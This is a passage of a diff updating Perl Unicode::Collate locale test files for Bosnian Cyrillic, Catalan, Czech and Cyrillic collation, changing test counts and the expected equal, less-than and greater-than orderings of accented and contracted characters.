+ok($objBsCyrl->eq("\x{45b}", "\x{40b}"));
+ok($objBsCyrl->eq("\x{443}", "\x{423}"));
+ok($objBsCyrl->eq("\x{444}", "\x{424}"));
+ok($objBsCyrl->eq("\x{445}", "\x{425}"));
+ok($objBsCyrl->eq("\x{446}", "\x{426}"));
+ok($objBsCyrl->eq("\x{447}", "\x{427}"));
+ok($objBsCyrl->eq("\x{45f}", "\x{40f}"));
+ok($objBsCyrl->eq("\x{448}", "\x{428}"));
+
+# 95
$objBsCyrl->change(level => 3);
-for my $i ("", "\0") {
- ok($objBsCyrl->eq("\x{4D1}", "\x{430}$i\x{306}"));
- ok($objBsCyrl->eq("\x{4D0}", "\x{410}$i\x{306}"));
- ok($objBsCyrl->eq("\x{4D3}", "\x{430}$i\x{308}"));
- ok($objBsCyrl->eq("\x{4D2}", "\x{410}$i\x{308}"));
- ok($objBsCyrl->eq("\x{4DB}", "\x{4D9}$i\x{308}"));
- ok($objBsCyrl->eq("\x{4DA}", "\x{4D8}$i\x{308}"));
- ok($objBsCyrl->eq("\x{453}", "\x{433}$i\x{301}"));
- ok($objBsCyrl->eq("\x{403}", "\x{413}$i\x{301}"));
- ok($objBsCyrl->eq("\x{450}", "\x{435}$i\x{300}")); # not contraction
- ok($objBsCyrl->eq("\x{400}", "\x{415}$i\x{300}")); # not contraction
- ok($objBsCyrl->eq("\x{451}", "\x{435}$i\x{308}")); # not contraction
- ok($objBsCyrl->eq("\x{401}", "\x{415}$i\x{308}")); # not contraction
- ok($objBsCyrl->eq("\x{4D7}", "\x{435}$i\x{306}"));
- ok($objBsCyrl->eq("\x{4D6}", "\x{415}$i\x{306}"));
- ok($objBsCyrl->eq("\x{4C2}", "\x{436}$i\x{306}")); # not contraction
- ok($objBsCyrl->eq("\x{4C1}", "\x{416}$i\x{306}")); # not contraction
- ok($objBsCyrl->eq("\x{4DD}", "\x{436}$i\x{308}"));
- ok($objBsCyrl->eq("\x{4DC}", "\x{416}$i\x{308}"));
- ok($objBsCyrl->eq("\x{4DF}", "\x{437}$i\x{308}"));
- ok($objBsCyrl->eq("\x{4DE}", "\x{417}$i\x{308}"));
- ok($objBsCyrl->eq("\x{45D}", "\x{438}$i\x{300}")); # not contraction
- ok($objBsCyrl->eq("\x{40D}", "\x{418}$i\x{300}")); # not contraction
- ok($objBsCyrl->eq("\x{4E3}", "\x{438}$i\x{304}")); # not contraction
- ok($objBsCyrl->eq("\x{4E2}", "\x{418}$i\x{304}")); # not contraction
- ok($objBsCyrl->eq("\x{4E5}", "\x{438}$i\x{308}"));
- ok($objBsCyrl->eq("\x{4E4}", "\x{418}$i\x{308}"));
- ok($objBsCyrl->eq("\x{457}", "\x{456}$i\x{308}"));
- ok($objBsCyrl->eq("\x{407}", "\x{406}$i\x{308}"));
- ok($objBsCyrl->eq("\x{439}", "\x{438}$i\x{306}"));
- ok($objBsCyrl->eq("\x{419}", "\x{418}$i\x{306}"));
- ok($objBsCyrl->eq("\x{4E7}", "\x{43E}$i\x{308}"));
- ok($objBsCyrl->eq("\x{4E6}", "\x{41E}$i\x{308}"));
- ok($objBsCyrl->eq("\x{4EB}", "\x{4E9}$i\x{308}"));
- ok($objBsCyrl->eq("\x{4EA}", "\x{4E8}$i\x{308}"));
- ok($objBsCyrl->eq("\x{45C}", "\x{43A}$i\x{301}"));
- ok($objBsCyrl->eq("\x{40C}", "\x{41A}$i\x{301}"));
- ok($objBsCyrl->eq("\x{4EF}", "\x{443}$i\x{304}")); # not contraction
- ok($objBsCyrl->eq("\x{4EE}", "\x{423}$i\x{304}")); # not contraction
- ok($objBsCyrl->eq("\x{45E}", "\x{443}$i\x{306}"));
- ok($objBsCyrl->eq("\x{40E}", "\x{423}$i\x{306}"));
- ok($objBsCyrl->eq("\x{4F1}", "\x{443}$i\x{308}"));
- ok($objBsCyrl->eq("\x{4F0}", "\x{423}$i\x{308}"));
- ok($objBsCyrl->eq("\x{4F3}", "\x{443}$i\x{30B}"));
- ok($objBsCyrl->eq("\x{4F2}", "\x{423}$i\x{30B}"));
- ok($objBsCyrl->eq("\x{4F5}", "\x{447}$i\x{308}"));
- ok($objBsCyrl->eq("\x{4F4}", "\x{427}$i\x{308}"));
- ok($objBsCyrl->eq("\x{4F9}", "\x{44B}$i\x{308}"));
- ok($objBsCyrl->eq("\x{4F8}", "\x{42B}$i\x{308}"));
- ok($objBsCyrl->eq("\x{4ED}", "\x{44D}$i\x{308}"));
- ok($objBsCyrl->eq("\x{4EC}", "\x{42D}$i\x{308}"));
- ok($objBsCyrl->eq("\x{477}", "\x{475}$i\x{30F}"));
- ok($objBsCyrl->eq("\x{476}", "\x{474}$i\x{30F}"));
-}
-
-# 210
+ok($objBsCyrl->lt("\x{430}", "\x{410}"));
+ok($objBsCyrl->lt("\x{431}", "\x{411}"));
+ok($objBsCyrl->lt("\x{432}", "\x{412}"));
+ok($objBsCyrl->lt("\x{433}", "\x{413}"));
+ok($objBsCyrl->lt("\x{434}", "\x{414}"));
+ok($objBsCyrl->lt("\x{452}", "\x{402}"));
+ok($objBsCyrl->lt("\x{435}", "\x{415}"));
+ok($objBsCyrl->lt("\x{436}", "\x{416}"));
+ok($objBsCyrl->lt("\x{437}", "\x{417}"));
+ok($objBsCyrl->lt("\x{438}", "\x{418}"));
+ok($objBsCyrl->lt("\x{439}", "\x{419}"));
+ok($objBsCyrl->lt("\x{458}", "\x{408}"));
+ok($objBsCyrl->lt("\x{43a}", "\x{41a}"));
+ok($objBsCyrl->lt("\x{43b}", "\x{41b}"));
+ok($objBsCyrl->lt("\x{459}", "\x{409}"));
+ok($objBsCyrl->lt("\x{43c}", "\x{41c}"));
+ok($objBsCyrl->lt("\x{43d}", "\x{41d}"));
+ok($objBsCyrl->lt("\x{45a}", "\x{40a}"));
+ok($objBsCyrl->lt("\x{43e}", "\x{41e}"));
+ok($objBsCyrl->lt("\x{43f}", "\x{41f}"));
+ok($objBsCyrl->lt("\x{440}", "\x{420}"));
+ok($objBsCyrl->lt("\x{441}", "\x{421}"));
+ok($objBsCyrl->lt("\x{442}", "\x{422}"));
+ok($objBsCyrl->lt("\x{45b}", "\x{40b}"));
+ok($objBsCyrl->lt("\x{443}", "\x{423}"));
+ok($objBsCyrl->lt("\x{444}", "\x{424}"));
+ok($objBsCyrl->lt("\x{445}", "\x{425}"));
+ok($objBsCyrl->lt("\x{446}", "\x{426}"));
+ok($objBsCyrl->lt("\x{447}", "\x{427}"));
+ok($objBsCyrl->lt("\x{45f}", "\x{40f}"));
+ok($objBsCyrl->lt("\x{448}", "\x{428}"));
+
+# 126
+
+ok($objBsCyrl->eq("\x{439}", "\x{438}\x{306}"));
+ok($objBsCyrl->eq("\x{419}", "\x{418}\x{306}"));
+
+# 128
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ca.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ca.t
index 80923ffe62a..0e756bf0a12 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ca.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ca.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..41\n"; }
+BEGIN { $| = 1; print "1..54\n"; }
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -55,9 +55,9 @@ ok($objCa->eq("a\x{300}a", "aa\x{300}"));
$objCa->change(level => 2);
-ok($objCa->lt("a\x{300}a", "aa\x{300}"));
-ok($objCa->gt("Ca\x{300}ca\x{302}", "ca\x{302}ca\x{300}"));
-ok($objCa->gt("ca\x{300}ca\x{302}", "Ca\x{302}ca\x{300}"));
+ok($objCa->gt("a\x{300}a", "aa\x{300}"));
+ok($objCa->lt("Ca\x{300}ca\x{302}", "ca\x{302}ca\x{300}"));
+ok($objCa->lt("ca\x{300}ca\x{302}", "Ca\x{302}ca\x{300}"));
# 12
@@ -97,10 +97,29 @@ ok($objCa->lt("LL", "L${dot}L"));
# 38
-$objCa->change(backwards => undef, level => 2);
+$objCa->change(upper_before_lower => 1);
-ok($objCa->gt("a\x{300}a", "aa\x{300}"));
-ok($objCa->lt("Ca\x{300}ca\x{302}", "ca\x{302}ca\x{300}"));
-ok($objCa->lt("ca\x{300}ca\x{302}", "Ca\x{302}ca\x{300}"));
+ok($objCa->gt("ch", "cH"));
+ok($objCa->gt("cH", "Ch"));
+ok($objCa->gt("Ch", "CH"));
+
+ok($objCa->gt("ll", "lL"));
+ok($objCa->gt("lL", "Ll"));
+ok($objCa->gt("Ll", "LL"));
+ok($objCa->lt("ll", "l${dot}l"));
+ok($objCa->lt("lL", "l${dot}l"));
+ok($objCa->lt("lL", "l${dot}L"));
+ok($objCa->lt("Ll", "l${dot}L"));
+ok($objCa->lt("Ll", "L${dot}l"));
+ok($objCa->lt("LL", "L${dot}l"));
+ok($objCa->lt("LL", "L${dot}L"));
+
+# 51
+
+$objCa->change(backwards => 2, level => 2);
+
+ok($objCa->lt("a\x{300}a", "aa\x{300}"));
+ok($objCa->gt("Ca\x{300}ca\x{302}", "ca\x{302}ca\x{300}"));
+ok($objCa->gt("ca\x{300}ca\x{302}", "Ca\x{302}ca\x{300}"));
-# 41
+# 54
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_cs.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_cs.t
index 4f309eeb30a..b5a7947cfda 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_cs.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_cs.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..34\n"; }
+BEGIN { $| = 1; print "1..42\n"; }
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -41,17 +41,22 @@ ok($objCs->getlocale, 'cs');
$objCs->change(level => 1);
ok($objCs->lt("c", "c\x{30C}"));
+ok($objCs->lt("cz","c\x{30C}"));
ok($objCs->gt("d", "c\x{30C}"));
ok($objCs->lt("h", "ch"));
+ok($objCs->lt("hz","ch"));
ok($objCs->gt("i", "ch"));
ok($objCs->lt("r", "r\x{30C}"));
+ok($objCs->lt("rz","r\x{30C}"));
ok($objCs->gt("s", "r\x{30C}"));
ok($objCs->lt("s", "s\x{30C}"));
+ok($objCs->lt("sz","s\x{30C}"));
ok($objCs->gt("t", "s\x{30C}"));
ok($objCs->lt("z", "z\x{30C}"));
+ok($objCs->lt("zz","z\x{30C}"));
ok($objCs->lt("z\x{30C}", "\x{292}")); # U+0292 EZH
-# 12
+# 17
$objCs->change(level => 2);
@@ -59,11 +64,12 @@ ok($objCs->eq("c\x{30C}", "C\x{30C}"));
ok($objCs->eq("r\x{30C}", "R\x{30C}"));
ok($objCs->eq("s\x{30C}", "S\x{30C}"));
ok($objCs->eq("z\x{30C}", "Z\x{30C}"));
+
ok($objCs->eq("ch", "cH"));
ok($objCs->eq("cH", "Ch"));
ok($objCs->eq("Ch", "CH"));
-# 19
+# 24
$objCs->change(level => 3);
@@ -71,11 +77,12 @@ ok($objCs->lt("c\x{30C}", "C\x{30C}"));
ok($objCs->lt("r\x{30C}", "R\x{30C}"));
ok($objCs->lt("s\x{30C}", "S\x{30C}"));
ok($objCs->lt("z\x{30C}", "Z\x{30C}"));
+
ok($objCs->lt("ch", "cH"));
ok($objCs->lt("cH", "Ch"));
ok($objCs->lt("Ch", "CH"));
-# 26
+# 31
ok($objCs->eq("c\x{30C}", "\x{10D}"));
ok($objCs->eq("C\x{30C}", "\x{10C}"));
@@ -86,4 +93,12 @@ ok($objCs->eq("S\x{30C}", "\x{160}"));
ok($objCs->eq("z\x{30C}", "\x{17E}"));
ok($objCs->eq("Z\x{30C}", "\x{17D}"));
-# 34
+# 39
+
+$objCs->change(upper_before_lower => 1);
+
+ok($objCs->gt("ch", "cH"));
+ok($objCs->gt("cH", "Ch"));
+ok($objCs->gt("Ch", "CH"));
+
+# 42
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_cyrl.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_cyrl.t
index d625d5dc3bb..deff690a7dd 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_cyrl.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_cyrl.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..130\n"; }
+BEGIN { $| = 1; print "1..208\n"; }
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -40,139 +40,182 @@ ok($objNoSuppress->getlocale, 'default');
$objNoSuppress->change(level => 1);
-ok($objNoSuppress->gt("\x{4D1}", "\x{430}")); # not suppressed
-ok($objNoSuppress->gt("\x{4D0}", "\x{410}")); # not suppressed
-ok($objNoSuppress->gt("\x{4D3}", "\x{430}")); # not suppressed
-ok($objNoSuppress->gt("\x{4D2}", "\x{410}")); # not suppressed
-ok($objNoSuppress->gt("\x{4DB}", "\x{4D9}")); # not suppressed
-ok($objNoSuppress->gt("\x{4DA}", "\x{4D8}")); # not suppressed
-ok($objNoSuppress->gt("\x{453}", "\x{433}")); # not suppressed
-ok($objNoSuppress->gt("\x{403}", "\x{413}")); # not suppressed
-ok($objNoSuppress->gt("\x{4D7}", "\x{435}")); # not suppressed
-ok($objNoSuppress->gt("\x{4D6}", "\x{415}")); # not suppressed
-ok($objNoSuppress->gt("\x{4DD}", "\x{436}")); # not suppressed
-ok($objNoSuppress->gt("\x{4DC}", "\x{416}")); # not suppressed
-ok($objNoSuppress->gt("\x{4DF}", "\x{437}")); # not suppressed
-ok($objNoSuppress->gt("\x{4DE}", "\x{417}")); # not suppressed
-ok($objNoSuppress->gt("\x{4E5}", "\x{438}")); # not suppressed
-ok($objNoSuppress->gt("\x{4E4}", "\x{418}")); # not suppressed
-ok($objNoSuppress->gt("\x{457}", "\x{456}")); # not suppressed
-ok($objNoSuppress->gt("\x{407}", "\x{406}")); # not suppressed
ok($objNoSuppress->gt("\x{439}", "\x{438}")); # not suppressed
ok($objNoSuppress->gt("\x{419}", "\x{418}")); # not suppressed
-ok($objNoSuppress->gt("\x{4E7}", "\x{43E}")); # not suppressed
-ok($objNoSuppress->gt("\x{4E6}", "\x{41E}")); # not suppressed
-ok($objNoSuppress->gt("\x{4EB}", "\x{4E9}")); # not suppressed
-ok($objNoSuppress->gt("\x{4EA}", "\x{4E8}")); # not suppressed
-ok($objNoSuppress->gt("\x{45C}", "\x{43A}")); # not suppressed
-ok($objNoSuppress->gt("\x{40C}", "\x{41A}")); # not suppressed
-ok($objNoSuppress->gt("\x{45E}", "\x{443}")); # not suppressed
-ok($objNoSuppress->gt("\x{40E}", "\x{423}")); # not suppressed
-ok($objNoSuppress->gt("\x{4F1}", "\x{443}")); # not suppressed
-ok($objNoSuppress->gt("\x{4F0}", "\x{423}")); # not suppressed
-ok($objNoSuppress->gt("\x{4F3}", "\x{443}")); # not suppressed
-ok($objNoSuppress->gt("\x{4F2}", "\x{423}")); # not suppressed
-ok($objNoSuppress->gt("\x{4F5}", "\x{447}")); # not suppressed
-ok($objNoSuppress->gt("\x{4F4}", "\x{427}")); # not suppressed
-ok($objNoSuppress->gt("\x{4F9}", "\x{44B}")); # not suppressed
-ok($objNoSuppress->gt("\x{4F8}", "\x{42B}")); # not suppressed
-ok($objNoSuppress->gt("\x{4ED}", "\x{44D}")); # not suppressed
-ok($objNoSuppress->gt("\x{4EC}", "\x{42D}")); # not suppressed
-ok($objNoSuppress->gt("\x{477}", "\x{475}")); # not suppressed
-ok($objNoSuppress->gt("\x{476}", "\x{474}")); # not suppressed
-
-# 42
-
-ok($objNoSuppress->eq("\x{450}", "\x{435}")); # not contraction
-ok($objNoSuppress->eq("\x{400}", "\x{415}")); # not contraction
-ok($objNoSuppress->eq("\x{451}", "\x{435}")); # not contraction
-ok($objNoSuppress->eq("\x{401}", "\x{415}")); # not contraction
-ok($objNoSuppress->eq("\x{4C2}", "\x{436}")); # not contraction
-ok($objNoSuppress->eq("\x{4C1}", "\x{416}")); # not contraction
-ok($objNoSuppress->eq("\x{45D}", "\x{438}")); # not contraction
-ok($objNoSuppress->eq("\x{40D}", "\x{418}")); # not contraction
-ok($objNoSuppress->eq("\x{4E3}", "\x{438}")); # not contraction
-ok($objNoSuppress->eq("\x{4E2}", "\x{418}")); # not contraction
-ok($objNoSuppress->eq("\x{4EF}", "\x{443}")); # not contraction
-ok($objNoSuppress->eq("\x{4EE}", "\x{423}")); # not contraction
+
+# 4
+
+ok($objNoSuppress->eq("\x{4D1}", "\x{430}"));
+ok($objNoSuppress->eq("\x{4D0}", "\x{410}"));
+ok($objNoSuppress->eq("\x{4D3}", "\x{430}"));
+ok($objNoSuppress->eq("\x{4D2}", "\x{410}"));
+ok($objNoSuppress->eq("\x{4DB}", "\x{4D9}"));
+ok($objNoSuppress->eq("\x{4DA}", "\x{4D8}"));
+ok($objNoSuppress->eq("\x{453}", "\x{433}"));
+ok($objNoSuppress->eq("\x{403}", "\x{413}"));
+ok($objNoSuppress->eq("\x{450}", "\x{435}"));
+ok($objNoSuppress->eq("\x{400}", "\x{415}"));
+ok($objNoSuppress->eq("\x{4D7}", "\x{435}"));
+ok($objNoSuppress->eq("\x{4D6}", "\x{415}"));
+ok($objNoSuppress->eq("\x{451}", "\x{435}"));
+ok($objNoSuppress->eq("\x{401}", "\x{415}"));
+ok($objNoSuppress->eq("\x{4C2}", "\x{436}"));
+ok($objNoSuppress->eq("\x{4C1}", "\x{416}"));
+ok($objNoSuppress->eq("\x{4DD}", "\x{436}"));
+ok($objNoSuppress->eq("\x{4DC}", "\x{416}"));
+ok($objNoSuppress->eq("\x{4DF}", "\x{437}"));
+ok($objNoSuppress->eq("\x{4DE}", "\x{417}"));
+ok($objNoSuppress->eq("\x{45D}", "\x{438}"));
+ok($objNoSuppress->eq("\x{40D}", "\x{418}"));
+ok($objNoSuppress->eq("\x{4E5}", "\x{438}"));
+ok($objNoSuppress->eq("\x{4E4}", "\x{418}"));
+ok($objNoSuppress->eq("\x{4E3}", "\x{438}"));
+ok($objNoSuppress->eq("\x{4E2}", "\x{418}"));
+ok($objNoSuppress->eq("\x{457}", "\x{456}"));
+ok($objNoSuppress->eq("\x{407}", "\x{406}"));
+ok($objNoSuppress->eq("\x{45C}", "\x{43A}"));
+ok($objNoSuppress->eq("\x{40C}", "\x{41A}"));
+ok($objNoSuppress->eq("\x{4E7}", "\x{43E}"));
+ok($objNoSuppress->eq("\x{4E6}", "\x{41E}"));
+ok($objNoSuppress->eq("\x{4EB}", "\x{4E9}"));
+ok($objNoSuppress->eq("\x{4EA}", "\x{4E8}"));
+ok($objNoSuppress->eq("\x{45E}", "\x{443}"));
+ok($objNoSuppress->eq("\x{40E}", "\x{423}"));
+ok($objNoSuppress->eq("\x{4F1}", "\x{443}"));
+ok($objNoSuppress->eq("\x{4F0}", "\x{423}"));
+ok($objNoSuppress->eq("\x{4F3}", "\x{443}"));
+ok($objNoSuppress->eq("\x{4F2}", "\x{423}"));
+ok($objNoSuppress->eq("\x{4EF}", "\x{443}"));
+ok($objNoSuppress->eq("\x{4EE}", "\x{423}"));
+ok($objNoSuppress->eq("\x{4F5}", "\x{447}"));
+ok($objNoSuppress->eq("\x{4F4}", "\x{427}"));
+ok($objNoSuppress->eq("\x{4F9}", "\x{44B}"));
+ok($objNoSuppress->eq("\x{4F8}", "\x{42B}"));
+ok($objNoSuppress->eq("\x{4ED}", "\x{44D}"));
+ok($objNoSuppress->eq("\x{4EC}", "\x{42D}"));
+ok($objNoSuppress->eq("\x{477}", "\x{475}"));
+ok($objNoSuppress->eq("\x{476}", "\x{474}"));
# 54
$objNoSuppress->change(level => 2);
-ok($objNoSuppress->gt("\x{450}", "\x{435}")); # not contraction
-ok($objNoSuppress->gt("\x{400}", "\x{415}")); # not contraction
-ok($objNoSuppress->gt("\x{451}", "\x{435}")); # not contraction
-ok($objNoSuppress->gt("\x{401}", "\x{415}")); # not contraction
-ok($objNoSuppress->gt("\x{4C2}", "\x{436}")); # not contraction
-ok($objNoSuppress->gt("\x{4C1}", "\x{416}")); # not contraction
-ok($objNoSuppress->gt("\x{45D}", "\x{438}")); # not contraction
-ok($objNoSuppress->gt("\x{40D}", "\x{418}")); # not contraction
-ok($objNoSuppress->gt("\x{4E3}", "\x{438}")); # not contraction
-ok($objNoSuppress->gt("\x{4E2}", "\x{418}")); # not contraction
-ok($objNoSuppress->gt("\x{4EF}", "\x{443}")); # not contraction
-ok($objNoSuppress->gt("\x{4EE}", "\x{423}")); # not contraction
-
-# 66
+ok($objNoSuppress->gt("\x{4D1}", "\x{430}"));
+ok($objNoSuppress->gt("\x{4D0}", "\x{410}"));
+ok($objNoSuppress->gt("\x{4D3}", "\x{430}"));
+ok($objNoSuppress->gt("\x{4D2}", "\x{410}"));
+ok($objNoSuppress->gt("\x{4DB}", "\x{4D9}"));
+ok($objNoSuppress->gt("\x{4DA}", "\x{4D8}"));
+ok($objNoSuppress->gt("\x{453}", "\x{433}"));
+ok($objNoSuppress->gt("\x{403}", "\x{413}"));
+ok($objNoSuppress->gt("\x{450}", "\x{435}"));
+ok($objNoSuppress->gt("\x{400}", "\x{415}"));
+ok($objNoSuppress->gt("\x{4D7}", "\x{435}"));
+ok($objNoSuppress->gt("\x{4D6}", "\x{415}"));
+ok($objNoSuppress->gt("\x{451}", "\x{435}"));
+ok($objNoSuppress->gt("\x{401}", "\x{415}"));
+ok($objNoSuppress->gt("\x{4C2}", "\x{436}"));
+ok($objNoSuppress->gt("\x{4C1}", "\x{416}"));
+ok($objNoSuppress->gt("\x{4DD}", "\x{436}"));
+ok($objNoSuppress->gt("\x{4DC}", "\x{416}"));
+ok($objNoSuppress->gt("\x{4DF}", "\x{437}"));
+ok($objNoSuppress->gt("\x{4DE}", "\x{417}"));
+ok($objNoSuppress->gt("\x{45D}", "\x{438}"));
+ok($objNoSuppress->gt("\x{40D}", "\x{418}"));
+ok($objNoSuppress->gt("\x{4E5}", "\x{438}"));
+ok($objNoSuppress->gt("\x{4E4}", "\x{418}"));
+ok($objNoSuppress->gt("\x{4E3}", "\x{438}"));
+ok($objNoSuppress->gt("\x{4E2}", "\x{418}"));
+ok($objNoSuppress->gt("\x{457}", "\x{456}"));
+ok($objNoSuppress->gt("\x{407}", "\x{406}"));
+ok($objNoSuppress->gt("\x{45C}", "\x{43A}"));
+ok($objNoSuppress->gt("\x{40C}", "\x{41A}"));
+ok($objNoSuppress->gt("\x{4E7}", "\x{43E}"));
+ok($objNoSuppress->gt("\x{4E6}", "\x{41E}"));
+ok($objNoSuppress->gt("\x{4EB}", "\x{4E9}"));
+ok($objNoSuppress->gt("\x{4EA}", "\x{4E8}"));
+ok($objNoSuppress->gt("\x{45E}", "\x{443}"));
+ok($objNoSuppress->gt("\x{40E}", "\x{423}"));
+ok($objNoSuppress->gt("\x{4F1}", "\x{443}"));
+ok($objNoSuppress->gt("\x{4F0}", "\x{423}"));
+ok($objNoSuppress->gt("\x{4F3}", "\x{443}"));
+ok($objNoSuppress->gt("\x{4F2}", "\x{423}"));
+ok($objNoSuppress->gt("\x{4EF}", "\x{443}"));
+ok($objNoSuppress->gt("\x{4EE}", "\x{423}"));
+ok($objNoSuppress->gt("\x{4F5}", "\x{447}"));
+ok($objNoSuppress->gt("\x{4F4}", "\x{427}"));
+ok($objNoSuppress->gt("\x{4F9}", "\x{44B}"));
+ok($objNoSuppress->gt("\x{4F8}", "\x{42B}"));
+ok($objNoSuppress->gt("\x{4ED}", "\x{44D}"));
+ok($objNoSuppress->gt("\x{4EC}", "\x{42D}"));
+ok($objNoSuppress->gt("\x{477}", "\x{475}"));
+ok($objNoSuppress->gt("\x{476}", "\x{474}"));
+
+# 104
$objNoSuppress->change(level => 3);
-ok($objNoSuppress->eq("\x{4D1}", "\x{430}\x{306}")); # not suppressed
-ok($objNoSuppress->eq("\x{4D0}", "\x{410}\x{306}")); # not suppressed
-ok($objNoSuppress->eq("\x{4D3}", "\x{430}\x{308}")); # not suppressed
-ok($objNoSuppress->eq("\x{4D2}", "\x{410}\x{308}")); # not suppressed
-ok($objNoSuppress->eq("\x{4DB}", "\x{4D9}\x{308}")); # not suppressed
-ok($objNoSuppress->eq("\x{4DA}", "\x{4D8}\x{308}")); # not suppressed
-ok($objNoSuppress->eq("\x{453}", "\x{433}\x{301}")); # not suppressed
-ok($objNoSuppress->eq("\x{403}", "\x{413}\x{301}")); # not suppressed
-ok($objNoSuppress->eq("\x{4D7}", "\x{435}\x{306}")); # not suppressed
-ok($objNoSuppress->eq("\x{4D6}", "\x{415}\x{306}")); # not suppressed
-ok($objNoSuppress->eq("\x{4DD}", "\x{436}\x{308}")); # not suppressed
-ok($objNoSuppress->eq("\x{4DC}", "\x{416}\x{308}")); # not suppressed
-ok($objNoSuppress->eq("\x{4DF}", "\x{437}\x{308}")); # not suppressed
-ok($objNoSuppress->eq("\x{4DE}", "\x{417}\x{308}")); # not suppressed
-ok($objNoSuppress->eq("\x{4E5}", "\x{438}\x{308}")); # not suppressed
-ok($objNoSuppress->eq("\x{4E4}", "\x{418}\x{308}")); # not suppressed
-ok($objNoSuppress->eq("\x{457}", "\x{456}\x{308}")); # not suppressed
-ok($objNoSuppress->eq("\x{407}", "\x{406}\x{308}")); # not suppressed
ok($objNoSuppress->eq("\x{439}", "\x{438}\x{306}")); # not suppressed
ok($objNoSuppress->eq("\x{419}", "\x{418}\x{306}")); # not suppressed
-ok($objNoSuppress->eq("\x{4E7}", "\x{43E}\x{308}")); # not suppressed
-ok($objNoSuppress->eq("\x{4E6}", "\x{41E}\x{308}")); # not suppressed
-ok($objNoSuppress->eq("\x{4EB}", "\x{4E9}\x{308}")); # not suppressed
-ok($objNoSuppress->eq("\x{4EA}", "\x{4E8}\x{308}")); # not suppressed
-ok($objNoSuppress->eq("\x{45C}", "\x{43A}\x{301}")); # not suppressed
-ok($objNoSuppress->eq("\x{40C}", "\x{41A}\x{301}")); # not suppressed
-ok($objNoSuppress->eq("\x{45E}", "\x{443}\x{306}")); # not suppressed
-ok($objNoSuppress->eq("\x{40E}", "\x{423}\x{306}")); # not suppressed
-ok($objNoSuppress->eq("\x{4F1}", "\x{443}\x{308}")); # not suppressed
-ok($objNoSuppress->eq("\x{4F0}", "\x{423}\x{308}")); # not suppressed
-ok($objNoSuppress->eq("\x{4F3}", "\x{443}\x{30B}")); # not suppressed
-ok($objNoSuppress->eq("\x{4F2}", "\x{423}\x{30B}")); # not suppressed
-ok($objNoSuppress->eq("\x{4F5}", "\x{447}\x{308}")); # not suppressed
-ok($objNoSuppress->eq("\x{4F4}", "\x{427}\x{308}")); # not suppressed
-ok($objNoSuppress->eq("\x{4F9}", "\x{44B}\x{308}")); # not suppressed
-ok($objNoSuppress->eq("\x{4F8}", "\x{42B}\x{308}")); # not suppressed
-ok($objNoSuppress->eq("\x{4ED}", "\x{44D}\x{308}")); # not suppressed
-ok($objNoSuppress->eq("\x{4EC}", "\x{42D}\x{308}")); # not suppressed
-ok($objNoSuppress->eq("\x{477}", "\x{475}\x{30F}")); # not suppressed
-ok($objNoSuppress->eq("\x{476}", "\x{474}\x{30F}")); # not suppressed
# 106
+ok($objNoSuppress->gt("\x{439}", "\x{438}\0\x{306}")); # not suppressed
+ok($objNoSuppress->gt("\x{419}", "\x{418}\0\x{306}")); # not suppressed
+
+# 108
+
for my $i ("", "\0") {
- ok($objNoSuppress->eq("\x{450}", "\x{435}$i\x{300}")); # not contraction
- ok($objNoSuppress->eq("\x{400}", "\x{415}$i\x{300}")); # not contraction
- ok($objNoSuppress->eq("\x{451}", "\x{435}$i\x{308}")); # not contraction
- ok($objNoSuppress->eq("\x{401}", "\x{415}$i\x{308}")); # not contraction
- ok($objNoSuppress->eq("\x{4C2}", "\x{436}$i\x{306}")); # not contraction
- ok($objNoSuppress->eq("\x{4C1}", "\x{416}$i\x{306}")); # not contraction
- ok($objNoSuppress->eq("\x{45D}", "\x{438}$i\x{300}")); # not contraction
- ok($objNoSuppress->eq("\x{40D}", "\x{418}$i\x{300}")); # not contraction
- ok($objNoSuppress->eq("\x{4E3}", "\x{438}$i\x{304}")); # not contraction
- ok($objNoSuppress->eq("\x{4E2}", "\x{418}$i\x{304}")); # not contraction
- ok($objNoSuppress->eq("\x{4EF}", "\x{443}$i\x{304}")); # not contraction
- ok($objNoSuppress->eq("\x{4EE}", "\x{423}$i\x{304}")); # not contraction
+ ok($objNoSuppress->eq("\x{4D1}", "\x{430}$i\x{306}"));
+ ok($objNoSuppress->eq("\x{4D0}", "\x{410}$i\x{306}"));
+ ok($objNoSuppress->eq("\x{4D3}", "\x{430}$i\x{308}"));
+ ok($objNoSuppress->eq("\x{4D2}", "\x{410}$i\x{308}"));
+ ok($objNoSuppress->eq("\x{4DB}", "\x{4D9}$i\x{308}"));
+ ok($objNoSuppress->eq("\x{4DA}", "\x{4D8}$i\x{308}"));
+ ok($objNoSuppress->eq("\x{453}", "\x{433}$i\x{301}"));
+ ok($objNoSuppress->eq("\x{403}", "\x{413}$i\x{301}"));
+ ok($objNoSuppress->eq("\x{450}", "\x{435}$i\x{300}"));
+ ok($objNoSuppress->eq("\x{400}", "\x{415}$i\x{300}"));
+ ok($objNoSuppress->eq("\x{4D7}", "\x{435}$i\x{306}"));
+ ok($objNoSuppress->eq("\x{4D6}", "\x{415}$i\x{306}"));
+ ok($objNoSuppress->eq("\x{451}", "\x{435}$i\x{308}"));
+ ok($objNoSuppress->eq("\x{401}", "\x{415}$i\x{308}"));
+ ok($objNoSuppress->eq("\x{4C2}", "\x{436}$i\x{306}"));
